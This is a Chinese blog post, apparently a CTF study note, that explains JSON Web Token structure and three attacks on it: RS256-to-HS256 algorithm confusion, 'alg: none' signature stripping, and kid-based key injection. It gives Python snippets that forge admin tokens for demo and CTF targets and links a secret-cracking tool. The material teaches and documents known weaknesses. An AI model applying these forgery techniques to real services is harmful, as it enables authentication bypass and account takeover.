今天看到2018强网杯的题目,因此总结一下。

Json Web Token

Json Web Token简称jwt

那么怎么样可以让HTTP记住曾经发生的事情呢?

这里的选择可以很多:cookie,session,jwt

对于一般的cookie,如果我们的加密措施不当,很容易造成信息泄露,甚至信息伪造,这肯定不是我们期望的。

那么对于session呢?

对于session:客户端在服务端登陆成功之后,服务端会生成一个sessionID,返回给客户端,客户端将sessionID保存到cookie中,例如phpsessid,再次发起请求的时候,携带cookie中的sessionID到服务端,服务端会缓存该session(会话),当客户端请求到来的时候,服务端就知道是哪个用户的请求,并将处理的结果返回给客户端,完成通信。

但是这样的机制会存在一些问题:

1、session保存在服务端,当客户访问量增加时,服务端就需要存储大量的session会话,对服务器有很大的考验;

2、当服务端为集群时,用户登陆其中一台服务器,会将session保存到该服务器的内存中,但是当用户的访问到其他服务器时,会无法访问,通常采用缓存一致性技术来保证可以共享,或者采用第三方缓存来保存session,不方便。

所以这个时候就需要jwt了

在身份验证中,当用户使用他们的凭证成功登录时,JSON Web Token将被返回并且必须保存在本地(通常在本地存储中,但也可以使用Cookie),而不是在传统方法中创建会话服务器并返回一个cookie。

JWT一般包括三部分:header,payload,Signature

一般jwt模样,以.号分为三部分。我们用https://jwt.io/来解密下看看

eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyYW1lIjoiYWRtaW5za3kiLCJwcml2Ijoib3RoZXIifQ.AoTc1q2NAErgqk6EeTK4MGH7cANVVF9XTy0wLv8HpgUfNcdM-etmv0Y9XmOuygF_ymV1rF6XQZzLrtkFqdMdP0NaZnTOYH35Yevaudx9bVpu9JHG4qeXo-0TXBcpaPmBaM0V0GxyZRNIS2KwRkNaxAQDQnyTN-Yi3w8OVpJYBiI

Header
通常由两部分组成:令牌的类型,即JWT和正在使用的散列算法,如HMAC SHA256或RSA。

{
"alg":"RS256",
"typ":"JWT"
}

alg为算法的缩写,typ为类型的缩写

然后,这个JSON被Base64编码,形成JSON Web Token的第一部分。

Payload
令牌的第二部分是包含声明的有效负载。声明是关于实体(通常是用户)和其他元数据的声明。

这里是用户随意定义的数据

例如上面的举例

{
"name":"adminsky",
"priv":"other"
}

然后将有效载荷Base64进行编码以形成JSON Web Token的第二部分。

但是需要注意对于已签名的令牌,此信息尽管受到篡改保护,但任何人都可以阅读。除非加密,否则不要将秘密信息放在JWT的有效内容或标题元素中。

Signature
要创建签名部分,必须采用header,payload,密钥

然后利用header中指定算法进行签名

例如HS256(HMAC SHA256),签名的构成为

HMACSHA256(
base64Encode(header) + "." +
base64Encode(payload),
secret)

然后将这部分base64编码形成JSON Web Token第三部分  

这里采用的是私钥签名,公钥验证的方法。

这里讲解三种常见攻击方式

修改算法RS256为HS256(非对称密码算法 => 对称密码算法)

算法HS256使用秘密密钥对每条消息进行签名和验证。

算法RS256使用私钥对消息进行签名,并使用公钥进行验证。

如果将算法从RS256更改为HS256,后端代码会使用公钥作为秘密密钥,然后使用HS256算法验证签名。

由于公钥有时可以被攻击者获取到,所以攻击者可以修改header中算法为HS256,然后使用RSA公钥对数据进行签名。

后端代码会使用RSA公钥+HS256算法进行签名验证。

同样的,可以通过一个例子来理解这种攻击方式 http://demo.sjoerdlangkemper.nl/jwtdemo/hs256.php

RSA公钥:http://demo.sjoerdlangkemper.nl/jwtdemo/public.pem

该例子解法如下

import jwt

# eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9
# {"typ":"JWT","alg":"RS256"} # eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTUwNDAwNzg3NCwiZXhwIjoxNTA0MDA3OTk0LCJkYXRhIjp7ImhlbGxvIjoid29ybGQifX0
# {"iss":"http:\/\/demo.sjoerdlangkemper.nl\/","iat":1504007874,"exp":1504007994,"data":{"hello":"world"}} public = open('public.pem.1', 'r').read() print public print jwt.encode({"data":"test"}, key=public, algorithm='HS256') //修改payload中的明文信息

然后生成的jwt串中,就伪造了payload信息,并且服务器端验证也会以RSA的公钥来验证HS256算法,因此伪造伪造成功

在iscc2019中,有相同题目。附上我自己的安装过程:python3 pip3 install PyJWT==1.6.0

import jwt
import base64 public = "-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDMRTzM9ujkHmh42aXG0aHZk/PK\nomh6laVF+c3+D+klIjXglj7+/wxnztnhyOZpYxdtk7FfpHa3Xh4Pkpd5VivwOu1h\nKk3XQYZeMHov4kW0yuS+5RpFV1Q2gm/NWGY52EaQmpCNFQbGNigZhu95R2OoMtuc\nIC+LX+9V/mpyKe9R3wIDAQAB\n-----END PUBLIC KEY-----" print(jwt.encode({"name": "yunying666","priv": "admin"}, key=public, algorithm='HS256').decode())

生成的jwt,就可以伪造yunying666用户为admin,从而以管理员登陆

HS256(对称加密)密钥暴力破解

因为HS256只有一个密钥,解密加密都是同一个密钥,因此破解比较容易。

附上现成的破解工具链接https://github.com/brendan-rius/c-jwt-cracker

修改算法为none

签名算法保证了JWT在传输的过程中不被恶意用户修改

但是header中的alg字段可被修改为none

一些JWT库支持none算法,即没有签名算法,当alg为none时后端不会进行签名校验

将alg修改为none后,去掉JWT中的signature数据(仅剩header + '.' + payload + '.')然后提交到服务端即可

这种攻击的例子可以参考:http://demo.sjoerdlangkemper.nl/jwtdemo/hs256.php

代码可以在Github上找到 https://github.com/Sjord/jwtdemo/

这个例子的解法如下

import jwt
import base64 # 原header
# eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9
# {"typ":"JWT","alg":"HS256"} # 原payload eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTUwNDAwNjQzNSwiZXhwIjoxNTA0MDA2NTU1LCJkYXRhIjp7ImhlbGxvIjoid29ybGQifX0
# {"iss":"http:\/\/demo.sjoerdlangkemper.nl\/","iat":1504006435,"exp":1504006555,"data":{"hello":"world"}} def b64urlencode(data):
return base64.b64encode(data).replace('+', '-').replace('/', '_').replace('=', '') # 构造算法字段为none, payload部分可以随意修改
print b64urlencode("{\"typ\":\"JWT\",\"alg\":\"none\"}") + \
'.' + b64urlencode("{\"data\":\"test\"}") + '.'

信息泄露

源于HITBCTF2017 中的一道jwt题目

jwt的header部分为

{"kid":"keys/3c3c2ea1c3f113f649dc9389dd71b851","typ":"JWT","alg":"RS256"}

kid指定了公钥的地址,kid字段(key ID),它指定了服务器用哪一个key来加密。

其实签名和验证都是在服务器端上进行的,如果是RSA,在服务器端用私钥签名,发到客户端,如果客户端修改了payload中的明文,在请求到服务端,服务端接收到,用公钥解密签名,发现明文不同,就会拒绝。

这道题的思路就是,kid用来指定服务器用哪个公钥验证签名。

所以只要伪造一对公钥私钥,修改payload,重新签名后发过去,服务器指定了你防止公钥的地方,取出公钥并且验证。解密签名后,发现都相同,从而通过,返回admin的信息

信息泄露:https://chybeta.github.io/2017/08/29/HITB-CTF-2017-Pasty-writeup/

RSA=>HS256:https://skysec.top/2018/05/19/2018CUMTCTF-Final-Web/#Pastebin

学习资料:

https://www.cnblogs.com/dliv3/p/7450057.html

https://blog.csdn.net/qq_43500877/article/details/90273139

  

最新文章

  1. 探索ASP.NET MVC5系列之~~~1.基础篇---必须知道的小技能
  2. mysql 大表拆分成csv导出
  3. 使用sbt构建spark 程序
  4. Java线程(一):线程安全与不安全
  5. SQL Server调优系列进阶篇 - 查询优化器的运行方式
  6. EntityFramework动态组合多排序字段
  7. 汉字转拼音的Java类库:JPinyin
  8. 动态规划——线性dp
  9. Noip2010提高组总结
  10. STL该反应堆运行
  11. STM32F10x -- 利用IIC协议操作AT24C02
  12. Git详解之一:Git起步
  13. css 相关算法
  14. Android Studio查看应用数字签名-android学习之旅(76)
  15. 5组I/O函数的比较
  16. hdu5943素数间隙与二分匹配
  17. 禅道迁移(windows_to_linux)
  18. Mysql 索引迁移策略
  19. windows下Oracle数据库完全删除
  20. 将/home空间从新挂载到/var/lib/docker

热门文章

  1. Spring中应用的那些设计模式
  2. 模块 time datetime 时间获取和处理
  3. SpringBoot学习笔记(十一:使用MongoDB存储文件 )
  4. Python数据库之数据操作
  5. jmeter实现接口关联的两种方式:正则表达式提取器和json提取器看这篇就够了
  6. Mac 开发工具信息的备份
  7. markdown多张图片并排显示
  8. vue使用axios发送post请求时的坑及解决原理
  9. [转发]对ThreadPoolExecutor初识
  10. redis 练习 a的数据库数据迁移到b数据库